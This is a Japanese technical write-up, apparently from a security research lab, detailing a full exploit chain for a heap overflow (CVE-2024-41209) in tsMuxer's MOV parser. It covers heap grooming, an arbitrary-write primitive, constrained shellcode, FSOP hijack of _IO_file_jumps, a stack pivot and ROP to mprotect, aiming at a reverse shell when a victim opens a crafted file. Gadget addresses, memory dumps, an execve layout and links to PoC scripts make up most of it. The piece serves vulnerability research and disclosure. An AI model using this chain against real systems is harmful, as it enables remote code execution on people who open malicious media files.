このバイナリに対するAttack Vectorを考えます。victimがこのバイナリを用いて悪意のあるMOVファイルを開いてしまう、というのが最も考えられるシチュエーションでしょう。ブログ冒頭で言及した通りtsMuxerはサーバーサイドでも使用されてはいますが、Attack Vectorを考慮すると攻撃者とvictimの間にインタラクティブなコネクションがはられていない状況を想定するのが自然であり、その場合は system("/bin/sh") を呼ぶだけでは不十分です。それゆえ、リバースシェルを起動することを攻撃のゴールとしましょう。

脆弱性を発火させる最小のPoCの作成

releaseバイナリにおいて脆弱性を発火させる最小のPoCを作成しましょう。得られているクラッシュ入力はfuzzingする中で変異させていたものですので、脆弱性の発火の原因となる部分以外にも余計なデータが多分に含まれています。余分なデータのparseの際に呼ばれる各種関数は各種構造体をheapに確保し、heap領域の状態をより複雑にしてしまうので、エクスプロイトする上で邪魔になります。最小限のPoCを作成することでheap領域に作られるChunkの状態を整え、この先のエクスプロイトの際の見通しを良くします。

脆弱性を発火させる最小のPoCを以下に示します。

https://github.com/RICSecLab/exploit-poc-public/blob/main/CVE-2024-41209/exploit_min_poc.py

作られたexploit.movを配布バイナリtsMuxeRに渡して実行すると、脆弱性が発火することがわかります。

Overflow先の構造体の選定

現在持っているprimitiveは、MovDemuxer::mov_read_trun()MovDemuxer::mov_read_ctts()MovDemuxer::mov_read_trun() の順番で実行した時に、ctts_dataベクターの領域を越えてheap BOFできるというものです。heap BOFは自由な書き込みではなく、big endianのint 1 と、任意の4byteのデータを足した合計8byteの入力を好きな回数入力できるというprimitiveです。

このprimitiveを使って、より強力なprimitiveを得ることを次の目標とします。方針としては以下の通りです。

  1. MovDemuxer::mov_read_ctts() と2回目のMovDemuxer::mov_read_trun() のcallの間に何かheapに構造体Aを取る関数を実行する
  2. ctts_dataベクターの下に隣接するheap領域に構造体Aが取られている状態で、heap BOFで構造体Aの中のポインタを書き換える
  3. 書き換えたポインタを使うことでより強力なprimitiveを得る

MovDemuxer::mov_read_ctts()MovDemuxer::mov_read_trun() の間にMovDemuxer::mov_read_xxxx() のような関数群を呼ぶということは、cttsアトムとtrunアトムの間にxxxxアトムを埋め込むことで簡単に実現できます。そこで、これらMovDemuxer::mov_read_xxxx() が実行時にheapに確保する構造体のうち、書き換えるのに都合のよい構造体を選定します。

構造体のallocationが行われる関数は以下の2つです。

  • MovDemuxer::mov_read_stsd()
    • MovParsedXXXTrackData構造体 (XXXはH264, H265, Audio, SRT)
  • MovDemuxer::mov_read_trak()
    • MOVStreamContext構造体

その他、構造体ではないがheapに配列などを確保する関数として、以下の3つがあります

  • MovDemuxer::mov_read_extradata()
  • MovDemuxer::mov_read_glbl()
  • MovDemuxer::mov_read_esds()

MovParsedXXXTrackData構造体を確認すると、ParsedTrackPrivData構造体を継承しています。

ParsedTrackPrivDataはvirtualメソッドをいくつか持っていて、 MovParsedXXXTrackData構造体ではそれらをオーバーライドしています。

class ParsedTrackPrivData
{
   public:
    ParsedTrackPrivData(uint8_t* buff, int size) {}
    ParsedTrackPrivData() = default;
    virtual ~ParsedTrackPrivData() = default;

    virtual void setPrivData(uint8_t* buff, int size) {}
    virtual void extractData(AVPacket* pkt, uint8_t* buff, int size) = 0;
    virtual unsigned newBufferSize(uint8_t* buff, unsigned size) { return 0; }
};

そのため、 MovParsedXXXTrackData構造体をheapに確保すると、その中にはMovParsedXXXTrackData用のvtableが確保されています。vtableのポインタを書き換えてfakeのvtableのアドレスを指すように変更することで、RIPを取ることが出来るかもしれません。

gef> x/20gx 0x93a690
0x93a690:	0x0000000000000000	0x0000000000000051
0x93a6a0:	0x0000000000000001	0x00000000deadbeef <- trun1
0x93a6b0:	0x0000000000000001	0x00000000cafebabe
0x93a6c0:	0x0000000000000001	0x00000000fee1dead
0x93a6d0:	0x0000000000000000	0x0000000000000000
0x93a6e0:	0x0000000000000000	0x0000000000000041
0x93a6f0:	0x00000000008eb088	0x000000000093a4c0 <- MovParsedXXXTrackData
0x93a700:	0x0000000000939e30	0x0000000000000000
0x93a710:	0x0000000000000000	0x0000000000000000
0x93a720:	0x0000000000000004	0x00000000000058e1

gef> x/12gx 0x8eb088
0x8eb088 <vtable for MovParsedH264TrackData+16>:	0x00000000004bfe88	0x00000000004bfec6
0x8eb098 <vtable for MovParsedH264TrackData+32>:	0x00000000004befd8	0x00000000004bf8d4
0x8eb0a8 <vtable for MovParsedH264TrackData+48>:	0x00000000004bfae0	0x0000000000000000
0x8eb0b8 <vtable for MovParsedAudioTrackData+8>:	0x00000000008f6600	0x00000000004ccd6c
0x8eb0c8 <vtable for MovParsedAudioTrackData+24>:	0x00000000004ccd9a	0x00000000004be9fa
0x8eb0d8 <vtable for MovParsedAudioTrackData+40>:	0x00000000004bea96	0x00000000004bebda

次にMOVStreamContext構造体を確認します。ctts_dataのベクターが末尾にあります。このctts_dataのベクターは、MovDemuxer::mov_read_ctts を呼ぶことにより値を書き込みができることが分かっています。つまり、MOVStreamContext構造体を確保してctts_dataのベクターをセットした後にheap BOFでこのポインタを破壊すれば、AAWのprimitiveが得られそうです。今回はこれを使います。

struct MOVStreamContext : Track
{
    MOVStreamContext()
        : m_indexCur(0),
					...
          sample_rate(0)
    {
    }
		...
    vector<uint32_t> keyframes;
    // vector<MOVDref> drefs;
    vector<MOVStts> stts_data;
    vector<MOVStts> ctts_data;
};

AAW

AAW (Arbitrary Address Write)は任意のアドレスに書き込みができるprimitiveです。今回のExploitではリバースシェルを起動することが最終目標なので、任意の文字列に対してexecveできる必要があります。シェルコードや文字列をメモリ上に作成したり、RIPを制御したりするには、heap BOFよりも強力で使い勝手のよいprimitiveを得ることが必要不可欠です。

heap BOFでMOVStreamContext構造体を書き換えて、AAWのprimitiveを得る手順を確認します。わかりやすさのために1回目にcallしたMovDemuxer::mov_read_trun()MovDemuxer::mov_read_trun1 のように表記することにします。

まず、MovDemuxer::mov_read_trun1MovDemuxer::mov_read_ctts1 の順番に呼んで、sizeのみを0にします。次にMovDemuxer::mov_read_trakMovDemuxer::mov_read_ctts2 の順番に実行することで、最初のMovDemuxer::mov_read_ctts1で確保したctts_dataベクターの直下にMOVStreamContext構造体を確保し、その構造体の中に破壊対象であるctts_dataベクターを用意します。MovDemuxer::mov_read_trun2 でheap BOFを発火させ、MOVStreamContext構造体の中のctts_dataベクターを書き換えてから、MovDemuxer::mov_read_ctts3 でそのベクターに対して書き込みを試みることでAAWが実現することができるはずです。

実際にデバッグして確認します。MovDemuxer::mov_read_trun2でheap BOFが発生する直前のheap領域は以下のようになっています。

gef> x/200gx 0x000000000093a650
0x93a650:	0x0000000000000000	0x0000000000000000
0x93a660:	0x0000000000000000	0x0000000000000031 
0x93a670:	0x0000000000000000	0x000000000091e250 <- ctts2で確保したベクター
0x93a680:	0x0000000000000001	0x0000000000000000
...
ctts1で確保したベクターがemplace_backで再確保された後にfreeされたチャンク達
...
0x93a880:	0x0000000000000000	0x0000000000000211
0x93a890:	0x0000000000000001	0x0000000000000000 <- ctts1で確保したベクター
0x93a8a0:	0x0000000000000001	0x0000000000000000
0x93a8b0:	0x0000000000000001	0x0000000000000000
0x93a8c0:	0x0000000000000001	0x0000000000000000
0x93a8d0:	0x0000000000000001	0x0000000000000000
0x93a8e0:	0x0000000000000001	0x0000000000000000
...
0x93aa50:	0x0000000000000001	0x0000000000000000
0x93aa60:	0x0000000000000001	0x0000000000000000
0x93aa70:	0x0000000000000001	0x0000000000000000
0x93aa80:	0x0000000000000000	0x0000000000000000
0x93aa90:	0x0000000000000000	0x0000000000000191
0x93aaa0:	0x0000000000000040	0x0000000000000000 <- MovStreamContext構造体
0x93aab0:	0x0000000000000000	0x0000000000000000
0x93aac0:	0x0000000000000000	0x0000000000000000
0x93aad0:	0x0000000000000000	0x0000000000000000
0x93aae0:	0x0000000000000000	0x0000000000000000
0x93aaf0:	0x0000000000000000	0x0000000000000000
0x93ab00:	0x0000000000000000	0x0000000000000000
0x93ab10:	0x0000000000000000	0x0000000000000000
0x93ab20:	0x0000000000000000	0x0000000000000000
0x93ab30:	0x0000000000000000	0x0000000000000000
0x93ab40:	0x0000000000000000	0x0000000000000000
0x93ab50:	0x0000000000000000	0x0000000000000000
0x93ab60:	0x0000000000000002	0x0000000000000000
0x93ab70:	0x0000000000000000	0x0000000000000000
0x93ab80:	0x0000000000000000	0x0000000000000000
0x93ab90:	0x0000000000000000	0x0000000000000000
0x93aba0:	0x0000000000000000	0x0000000000000000
0x93abb0:	0x0000000000000000	0x0000000000000000
0x93abc0:	0x0000000000000000	0x0000000000000000
0x93abd0:	0x0000000000000000	0x0000000000000000
0x93abe0:	0x0000000000000000	0x0000000000000000
0x93abf0:	0x0000000000000000	0x0000000000000000
0x93ac00:	0x0000000000000000	0x000000000093a650 <- 破壊対象のctts_dataベクター
0x93ac10:	0x000000000093a660	0x000000000093a660
0x93ac20:	0x0000000000000000	0x0000000000000021
0x93ac30:	0x0000000000000000	0x0000000000000000
0x93ac40:	0x0000000000000000	0x00000000000053c1

MovDemuxer::mov_read_trun2 の後にMovDemuxer::mov_read_ctts3 でベクターに書き込んでみましょう。ベクターの _M_impl._M_start がoverwriteされ、そのアドレスへ書き込みが行われていることが分かります。

gef> x/58gx 0x93aa80
0x93aa80:	0x0000000000000001	0x00000000deadbeef
0x93aa90:	0x0000000000000001	0x0000000000000191
0x93aaa0:	0x0000000000000001	0x000000006e757274
0x93aab0:	0x0000000000000001	0x000000006e757274
...
0x93abe0:	0x0000000000000001	0x000000006e757274
0x93abf0:	0x0000000000000001	0x000000006e757274
0x93ac00:	0x0000000000000001	0x000000000091c800 <- ctts_data._M_impl._M_start
0x93ac10:	0x000000000093a660	0x000000000093a660
0x93ac20:	0x0000000000000000	0x0000000000000021
0x93ac30:	0x0000000000000000	0x0000000000000000
0x93ac40:	0x0000000000000000	0x00000000000053c1
gef> x/6gx 0x000000000091c800
0x91c800:	0x00000000deadbeef	0x00000000cafebabe
0x91c810:	0x00000000deadbeef	0x00000000cafebabe
0x91c820:	0x0000000000000000	0x0000000000000000

AAWを実行するコードは以下のとおりです。

https://github.com/RICSecLab/exploit-poc-public/blob/main/CVE-2024-41209/exploit_aaw.py

任意サイズの32bit列を任意のアドレスに書き込むことが出来ます。32bit列なので例えば64bitのアドレスを書き込むことはできません。しかし、no-pieでstatic linkなバイナリにおいては十分なwrite primitiveを得ることができました。

エクスプロイト

得られたAAWのprimitiveを使ってRCEに繋げます。staticバイナリなので使用していないlibcの関数はバイナリ中に存在しません。system関数が存在しないので、リバースシェルを起動するにはいくつかのガジェットを自由に実行できる必要があります。

今回のエクスプロイトではシェルコードを実行することにしました。AAWのprimitiveは実際の32bit列しか書き込めないという制限があるので、上位32bitが 00000000 であっても動くようなシェルコードを作成します。また、write権限とexecute権限が同時に付与されているメモリ領域は存在していないので、Return Oriented Programming (ROP)でmprotectを呼ぶことで書き込んだシェルコードを実行できるようにします。

具体的な方針としては次の通りです。

  1. AAWでメモリ上にシェルコードを配置する
  2. RIPを取る (任意のアドレスにプログラムカウンタを飛ばす)
  3. ガジェットを実行してstack pivotをする
  4. ROPでシェルコードのあるメモリ領域に実行権限を付与する
  5. シェルコードを実行 → リバースシェルを起動する

シェルコードを作成する

シェルコードを実行してリバースシェルを起動する場合、次の二つのステップが必要です。

  • メモリ上に、任意の文字列を/bin/sh -c に繋げて用意すること
  • 引数に用意した文字列を渡した状態で、execveシステムコールを呼び出すこと

32bit列しか書き込めないAAWの書き込みで作成したシェルコードで、これらを実現することを考えます。

まず、AAWにて上位32bitに0が書き込まれてしまう問題がありますが、その上位32bit部分を即値に相当する部分として扱うことによって解決します。言葉で説明してもわかりにくいので、機械語の例を以下に示します。

32bit列しか書き込めない、というのは以下のように上位32bitが00000000 となるような、64bitの値を連続して書き込める状態です。

gef> x/32gx 0x901410
0x901410 <_dl_main_map+208>:	0x00000000b990c031	0x00000000b990900c
0x901420 <_dl_main_map+224>:	0x00000000b908e0c1	0x00000000b9900d0c
0x901430 <_dl_main_map+240>:	0x00000000b908e0c1	0x00000000b990d00c
0x901440 <_dl_main_map+256>:	0x00000000b9902fb3	0x00000000b9901888
0x901450 <_dl_main_map+272>:	0x00000000b990c031	0x00000000b990900c
0x901460 <_dl_main_map+288>:	0x00000000b908e0c1	0x00000000b9900d0c
0x901470 <_dl_main_map+304>:	0x00000000b908e0c1	0x00000000b990d10c
0x901480 <_dl_main_map+320>:	0x00000000b99062b3	0x00000000b9901888
0x901490 <_dl_main_map+336>:	0x00000000b990c031	0x00000000b990900c
0x9014a0 <_dl_main_map+352>:	0x00000000b908e0c1	0x00000000b9900d0c

この0の部分を即値に相当する部分として解釈されるようにするとは、上のメモリ領域を機械語として解釈した時の結果を確認すると理解できると思います。

mov ecx, 0 の部分を見てください。0xb9に続く、0x00000000は即値として扱われており、全体として5byteのvalidな命令列となっています。

 ->   0x901410 31c0                           xor    eax, eax
      0x901412 90                             nop
      0x901413 b900000000                     mov    ecx, 0
      0x901418 0c90                          or     al, 0x90
      0x90141a 90                             nop
      0x90141b b900000000                     mov    ecx, 0
      0x901420 c1e008                         shl    eax, 8
      0x901423 b900000000                     mov    ecx, 0
      0x901428 0c0d                           or     al, 0xd
      0x90142a 90                             nop
      0x90142b b900000000                     mov    ecx, 0

このmov ecx, 0 を間に挟むことで、好きな3byteの機械語を連続して実行できるようになります。rcxレジスタへの操作以外のmov ecx, 0 の副作用はありません。

次にこの3byte以内の命令の連続で、任意のアドレスに1byteの書き込みを行うことを実現します。書き込みにはmov [rax], bl という2byteの命令を使います。書き込み先のアドレスをraxレジスタに用意する必要がありますが、 xor eax, eax で0に初期化した後に、or al, 0x90 のように好きな1byte(ここでは0x90)をalレジスタに格納し、shl eax, 8 でシフトすることを繰り返すことで、任意の32bitアドレスをeaxレジスタに用意することが可能です。

例えば、以下のようなシェルコードをメモリ上に配置して実行することで、アドレス0x900dd0に0x2fを書き込むことができます。

      0x901410 31c0                           xor    eax, eax
      0x901412 90                             nop
      0x901413 b900000000                     mov    ecx, 0
      0x901418 0c90                           or     al, 0x90
      0x90141a 90                             nop
      0x90141b b900000000                     mov    ecx, 0
      0x901420 c1e008                         shl    eax, 8
      0x901423 b900000000                     mov    ecx, 0
      0x901428 0c0d                           or     al, 0xd
      0x90142a 90                             nop
      0x90142b b900000000                     mov    ecx, 0
      0x901430 c1e008                         shl    eax, 8
      0x901433 b900000000                     mov    ecx, 0
      0x901438 0cd0                           or     al, 0xd0
      0x90143a 90                             nop
      0x90143b b900000000                     mov    ecx, 0
      0x901440 b32f                           mov    bl, 0x2f
      0x901442 90                             nop
      0x901443 b900000000                     mov    ecx, 0
      0x901448 8818                           mov    byte ptr [rax], bl
      0x90144a 90                             nop
      0x90144b b900000000                     mov    ecx, 0

つまり、このシェルコードの実行さえできれば、「任意のアドレスに1byte書き込める」という、より強力なAAW primitiveを得ることができます。複数回このprimitiveを使用することで、任意の文字列をメモリ上に作成できます。

任意の文字列を作成した後は、execveシステムコールを呼ぶだけです。

eaxに任意の32bitアドレスを作った後に、mov edi, eax のような2byte命令を実行すれば、rdi, rsi, rdxレジスタにも任意の32bitアドレスを用意できます。

例えば、以下のようにレジスタを設定してsyscall命令を実行すればよいです。

  • raxレジスタにexecveのsyscall番号である0x3bをセット
  • rdiレジスタに /bin/sh の文字列の格納されたアドレスをセット
  • rsiレジスタにargvのアドレスとして、 /bin/sh のアドレスが入っているポインタのアドレスをセット
  • rdxに0をセット
[+] Detected syscall (arch:X86, mode:64)
    execve(const char __user *filename, const char __user *const __user *argv, const char __user *const __user *envp)
[+] Parameter            Register             Value
    RET                  $rax                 -
    _NR                  $rax                 0x3b
    filename             $rdi                 0x0000000000900dd0 <main_arena+0x530>  ->  0x0068732f6e69622f ('/bin/sh'?)
    argv                 $rsi                 0x0000000000900db0 <main_arena+0x510>  ->  0x0000000000900dd0 <main_arena+0x530>  ->  0x0068732f6e69622f ('/bin/sh'?)
    envp                 $rdx                 0x0000000000000000

argvとして渡される0x900dd0のメモリ領域には以下のように文字列を用意すればよいです。

gef> x/8gx 0x900dd0
0x900dd0 <main_arena+1328>:	0x0068732f6e69622f	0x0000000000900dc0
0x900de0 <main_arena+1344>:	0x000000000000632d	0x0000000000900dd0
0x900df0 <main_arena+1360>:	0x3b61686c2d20736c	0x746164203b646920
0x900e00 <main_arena+1376>:	0x0000000000900065	0x0000000000900df0
gef> x/25s 0x0000000000900dd0
0x900dd0 <main_arena+1328>:	"/bin/sh"
0x900dd8 <main_arena+1336>:	"\300\r\220"
...
0x900de0 <main_arena+1344>:	"-c"
...
0x900de8 <main_arena+1352>:	"\320\r\220"
...
0x900df0 <main_arena+1360>:	"ls -lha; id; date"
0x900e02 <main_arena+1378>:	"\220"
...
0x900e08 <main_arena+1384>:	"\360\r\220"
0x900e0c <main_arena+1388>:	""

以上のようなシェルコードをメモリ上に用意すれば、あとはrwx権限をそのメモリ領域に付与し、RIPレジスタをそのシェルコードの先頭に飛ばすだけで、リバースシェルを実行できます。

今回の例では ls -lha; id; date を実行しているだけですが、この文字列をリバースシェルを実行するような文字列に変えればよいです。

シェルコードを作成するpythonスクリプトは以下の通りです。

https://github.com/RICSecLab/exploit-poc-public/blob/main/CVE-2024-41209/exploit_shellcode.py

RIPを取る

今回はRIPを制御するために、File Structure Oriented Programming (FSOP)を使います。static linkedなバイナリでは、File構造体のvtableの範囲チェックが存在しないだけでなく、vtable自体もrw可能領域にmapされています。このvtableの適切な関数ポインタを書き換えるだけで、File構造体にアクセスする様々なinternal関数の中でRIPをハイジャックできます。

今回は、MovDemuxer::mov_read_cmov() を使って__cxa_throw経由でFSOPを発火させます。。これにより、破壊したctts_dataベクターのデストラクタで落ちることなくRIPを取ることができます。

int MovDemuxer::mov_read_cmov(MOVAtom atom) { THROW(ERR_MOV_PARSE, "Compressed MOV not supported in current version") }

FSOPでRIPを飛ばす時のレジスタの状態を確認します。

生成したexploit.movを渡し実行すると、_IO_file_jumpsの13番目のエントリを書き換えることでRIPをハイジャックできることがわかります。実は他のエントリでもハイジャックすることは可能ですが、今回はこの13番目のエントリである_IO_sync_tをガジェットのアドレスに書き換えることにします。 

https://github.com/RICSecLab/exploit-poc-public/blob/main/CVE-2024-41209/exploit_rip.py

Thread 1 "tsMuxeR" received signal SIGSEGV, Segmentation fault.
0x00000000dead000c in ?? ()
[ Legend: Modified register | Code | Heap | Stack | Writable | ReadOnly | None | RWX | String ]
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------- registers ----
$rax   : 0x0000000000000828
$rbx   : 0x0000000000900420 <_IO_2_1_stdout_>  ->  0x00000000fbad2a84
$rcx   : 0x0000000000000001
$rdx   : 0x0000000000901920 <_IO_str_chk_jumps>  ->  0x0000000000000000
$rsp   : 0x00007fffffffdc18  ->  0x000000000072b256 <fflush+0x86>  ->  0x950f41c085c03145
$rbp   : 0x0000000000901e60 <_IO_file_jumps>  ->  0x00000000dead0000
$rsi   : 0x0000000000000540
$rdi   : 0x0000000000900420 <_IO_2_1_stdout_>  ->  0x00000000fbad2a84
$rip   : 0x00000000dead000c
$r8    : 0x0000000000918580 <std::cout>  ->  0x00000000008fb9a0 <vtable for std::ostream+0x18>  ->  0x00000000006afb40 <std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()>  ->  0x88c0c748fa1e0ff3
$r9    : 0x00007fffffffd950  ->  0x00007fffffffdb38  ->  0x000000000093aec0  ->  0x474e5543432b2b00
$r10   : 0x000000000091a3b0 <dwarf_reg_size_table>  ->  0x0808080808080808
$r11   : 0x0000000000000000
$r12   : 0x0000000000918580 <std::cout>  ->  0x00000000008fb9a0 <vtable for std::ostream+0x18>  ->  0x00000000006afb40 <std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()>  ->  0x88c0c748fa1e0ff3
$r13   : 0x00000000007e2a98  ->  0x00203a726f727245 ('Error: '?)
$r14   : 0x00000000008fe018 <_GLOBAL_OFFSET_TABLE_+0x18>  ->  0x0000000000760dc0 <__strcasecmp_avx>  ->  0x90c0c748fa1e0ff3
$r15   : 0x00007fffffffdc90  ->  0x00000000ffffde00
$eflags: 0x10206 [ident align vx86 RESUME nested overflow direction INTERRUPT trap sign zero adjust PARITY carry] [Ring=3]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ stack ----
$rsp  0x7fffffffdc18|+0x0000|+000: 0x000000000072b256 <fflush+0x86>  ->  0x950f41c085c03145  <-  retaddr[1]
      0x7fffffffdc20|+0x0008|+001: 0x00007fffffffdecd  ->  0xffffffdee0000000
      0x7fffffffdc28|+0x0010|+002: 0x0000000000918460 <std::cerr>  ->  0x00000000008fb9a0 <vtable for std::ostream+0x18>  ->  0x00000000006afb40 <std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()>  ->  ...
      0x7fffffffdc30|+0x0018|+003: 0x00007fffffffdc90  ->  0x00000000ffffde00  <-  $r15
      0x7fffffffdc38|+0x0020|+004: 0x00000000006afee3 <std::ostream::flush()+0x23>  ->  0xe0894c0874fff883  <-  retaddr[2]
      0x7fffffffdc40|+0x0028|+005: 0x0000000000918460 <std::cerr>  ->  0x00000000008fb9a0 <vtable for std::ostream+0x18>  ->  0x00000000006afb40 <std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()>  ->  ...
      0x7fffffffdc48|+0x0030|+006: 0x00000000006b0740 <std::ostream::sentry::sentry(std::ostream&)+0x50>  ->  0x8be8580348038b48  <-  retaddr[3]
      0x7fffffffdc50|+0x0038|+007: 0x00007fffffffdc80  ->  0x696f6c7078652f2e './exploit.mov'
------------------------------------------------------------------------------------------------------------------------------------------------------------------------ code:x86:64 ----
[!] Cannot access memory at address 0xdead000c

Stack pivot

32bitの配列をAAWで書き込む都合から、_IO_file_jumpsの上のメモリ領域にROPのペイロードを用意し、stack pivotでそこに制御を移すことにします。

espにアクセスするガジェットは複数ありますが、今回は mov esp, ebp; pop rbx; pop rbp; mov rax, r12; pop r12; ret ガジェットを使います。ebpには_IO_file_jumpsのアドレスが入っているので、stackを_IO_file_jumpsにpivotできます。

_IO_file_jumpsの0から14番目までの_IO_sync_tを除いたエントリは、_IO_sync_tにアクセスするまでに使用されることはなかったので好きなアドレスを書き込んでおくことができます。

ここまでのコードを以下に示します。

https://github.com/RICSecLab/exploit-poc-public/blob/main/CVE-2024-41209/exploit_stack_pivot.py

ROPでmprotectを実行

ここでは、_IO_file_jumpsのアドレスより上のメモリ領域にシェルコードを配置します。

これにより1回のctts_dataベクターの書き込みで、_IO_file_jumpsの書き換えとシェルコードの配置を同時に達成できます。

13番目のmov esp, ebp; pop rbx; pop rbp; mov rax, r12; pop r12; ret ガジェットを上手くpopで回避しながら、mprotectを実行し、シェルコードの領域にretすれば、リバースシェルが起動します。mprotectを実行して、rwx領域にretするまでの動作を実際に確認してみます。

import gdb

gdb.execute('set substitute-path /workdir .')
gdb.execute('b MovDemuxer::mov_read_cmov')
gdb.execute('r')
gdb.execute('b *0x007b0851')
gdb.execute('c')

まず、stack pivotのガジェットが実行されます。

$rax   : 0x0000000000000828
$rbx   : 0x0000000000900420 <_IO_2_1_stdout_>  ->  0x00000000fbad2a84
$rcx   : 0x0000000000000001
$rdx   : 0x0000000000901920 <_IO_str_chk_jumps>  ->  0x0000000000000000
$rsp   : 0x00007fffffffdc18  ->  0x000000000072b256 <fflush+0x86>  ->  0x950f41c085c03145
$rbp   : 0x0000000000901e60 <_IO_file_jumps>  ->  0x00000000dead0000
$rsi   : 0x0000000000000540
$rdi   : 0x0000000000900420 <_IO_2_1_stdout_>  ->  0x00000000fbad2a84
$rip   : 0x00000000007b0851 <fread_unlocked+0x51>  ->  0x41e0894c5d5bec89
$r8    : 0x0000000000918580 <std::cout>  ->  0x00000000008fb9a0 <vtable for std::ostream+0x18>  ->  0x00000000006afb40 <std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()>  ->  0x88c0c748fa1e0ff3
$r9    : 0x00007fffffffd950  ->  0x00007fffffffdb38  ->  0x000000000093aec0  ->  0x474e5543432b2b00
$r10   : 0x000000000091a3b0 <dwarf_reg_size_table>  ->  0x0808080808080808
$r11   : 0x0000000000000000
$r12   : 0x0000000000918580 <std::cout>  ->  0x00000000008fb9a0 <vtable for std::ostream+0x18>  ->  0x00000000006afb40 <std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()>  ->  0x88c0c748fa1e0ff3
$r13   : 0x00000000007e2a98  ->  0x00203a726f727245 ('Error: '?)
$r14   : 0x00000000008fe018 <_GLOBAL_OFFSET_TABLE_+0x18>  ->  0x0000000000760dc0 <__strcasecmp_avx>  ->  0x90c0c748fa1e0ff3
$r15   : 0x00007fffffffdc90  ->  0x00000000ffffde00
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ stack ----
$rsp  0x7fffffffcff0|+0x0000|+000: 0x00007fffffffd020  ->  0x00007fffffffd050  ->  0x00007fffffffd070  ->  ...
      0x7fffffffcff8|+0x0008|+001: 0x0000000000939e30  ->  0x00000000008f6528 <vtable for MovDemuxer+0x10>  ->  0x00000000004be4d8 <MovDemuxer::~MovDemuxer()>  ->  ...  <-  $rax, $rdi
      0x7fffffffd000|+0x0010|+002: 0x00007fffffffd020  ->  0x00007fffffffd050  ->  0x00007fffffffd070  ->  ...
      0x7fffffffd008|+0x0018|+003: 0x9ec84812c6782000  <-  canary
      0x7fffffffd010|+0x0020|+004: 0x00007fffffffd040  ->  0x00007fffffffd070  ->  0x00007fffffffd0b0  ->  ...
      0x7fffffffd018|+0x0028|+005: 0x00000000004534f8 <IOContextDemuxer::get_be16()+0x2e>  ->  0x5d5b18c48348d809
      0x7fffffffd020|+0x0030|+006: 0x00007fffffffd050  ->  0x00007fffffffd070  ->  0x00007fffffffd0b0  ->  ...
      0x7fffffffd028|+0x0038|+007: 0x0000000000939e30  ->  0x00000000008f6528 <vtable for MovDemuxer+0x10>  ->  0x00000000004be4d8 <MovDemuxer::~MovDemuxer()>  ->  ...  <-  $rax, $rdi
------------------------------------------------------------------------------------------------------------------------------------------------------------------------ code:x86:64 ----
*-> 0x7b0851 89ec                <fread_unlocked+0x51>   mov    esp, ebp
    0x7b0853 5b                  <fread_unlocked+0x53>   pop    rbx
    0x7b0854 5d                  <fread_unlocked+0x54>   pop    rbp
    0x7b0855 4c89e0              <fread_unlocked+0x55>   mov    rax, r12
    0x7b0858 415c                <fread_unlocked+0x58>   pop    r12
    0x7b085a c3                  <fread_unlocked+0x5a>   ret

その後、mprotectをsyscall命令で実行する際の引数を用意します。

  • pop rdi; ret; でシェルコードを格納する予定の0x901000をrdiレジスタにセットします。

rspレジスタの指す領域が、stack pivotによって_IO_file_jumps上にあることも確認できます。

  • pop rsi; ret;0x4000 をrsiレジスタにセットします。
  • pop rdx; ret; でrwxを表す 7 をrdxレジスタにセットします。
  • pop rax; ret; でmprotectを指定する 0xa をraxレジスタにセットします。

mprotectを実行する直前の状態を確認します。

$rax   : 0x000000000000000a
$rbx   : 0x00000000dead0000
$rcx   : 0x0000000000000001
$rdx   : 0x0000000000000007
$rsp   : 0x0000000000901ec0 <_IO_file_jumps+0x60>  ->  0x00000000007b0851 <fread_unlocked+0x51>  ->  0x41e0894c5d5bec89
$rbp   : 0x00000000cafe0000
$rsi   : 0x0000000000004000
$rdi   : 0x0000000000901000 <main_arena+0x760>  ->  0x0000000000900ff0 <main_arena+0x750>  ->  0x0000000000900fe0 <main_arena+0x740>  ->  0x0000000000900fd0 <main_arena+0x730>  ->  ...
$rip   : 0x0000000000627791 <__deallocate_stack+0xe1>  ->  0x48001f0fc35d050f
$r8    : 0x0000000000918580 <std::cout>  ->  0x00000000008fb9a0 <vtable for std::ostream+0x18>  ->  0x00000000006afb40 <std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()>  ->  0x88c0c748fa1e0ff3
$r9    : 0x00007fffffffd950  ->  0x00007fffffffdb38  ->  0x000000000093aec0  ->  0x474e5543432b2b00
$r10   : 0x000000000091a3b0 <dwarf_reg_size_table>  ->  0x0808080808080808
$r11   : 0x0000000000000000
$r12   : 0x00000000dead0012
$r13   : 0x00000000007e2a98  ->  0x00203a726f727245 ('Error: '?)
$r14   : 0x00000000008fe018 <_GLOBAL_OFFSET_TABLE_+0x18>  ->  0x0000000000760dc0 <__strcasecmp_avx>  ->  0x90c0c748fa1e0ff3
$r15   : 0x00007fffffffdc90  ->  0x00000000ffffde00
$eflags: 0x206 [ident align vx86 resume nested overflow direction INTERRUPT trap sign zero adjust PARITY carry] [Ring=3]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ stack ----
$rsp  0x000000901ec0|+0x0000|+000: 0x00000000007b0851 <fread_unlocked+0x51>  ->  0x41e0894c5d5bec89
      0x000000901ec8|+0x0008|+001: 0x0000000000901e40 <_IO_file_jumps_mmap+0xa0>  ->  0x0000000000735d00 <_IO_default_imbue>  ->  0x2e6666c3fa1e0ff3  <-  retaddr[1]
      0x000000901ed0|+0x0010|+002: 0x0000000000731c70 <_IO_file_read>  ->  0x70478b44fa1e0ff3  <-  retaddr[2]
      0x000000901ed8|+0x0018|+003: 0x0000000000731570 <_IO_new_file_write>  ->  0x89495541fa1e0ff3
      0x000000901ee0|+0x0020|+004: 0x0000000000730d10 <_IO_file_seek>  ->  0xe9707f8bfa1e0ff3
      0x000000901ee8|+0x0028|+005: 0x00000000007308f0 <_IO_file_close>  ->  0xe9707f8bfa1e0ff3
      0x000000901ef0|+0x0030|+006: 0x0000000000731550 <_IO_file_stat>  ->  0x8bf28948fa1e0ff3  <-  retaddr[3]
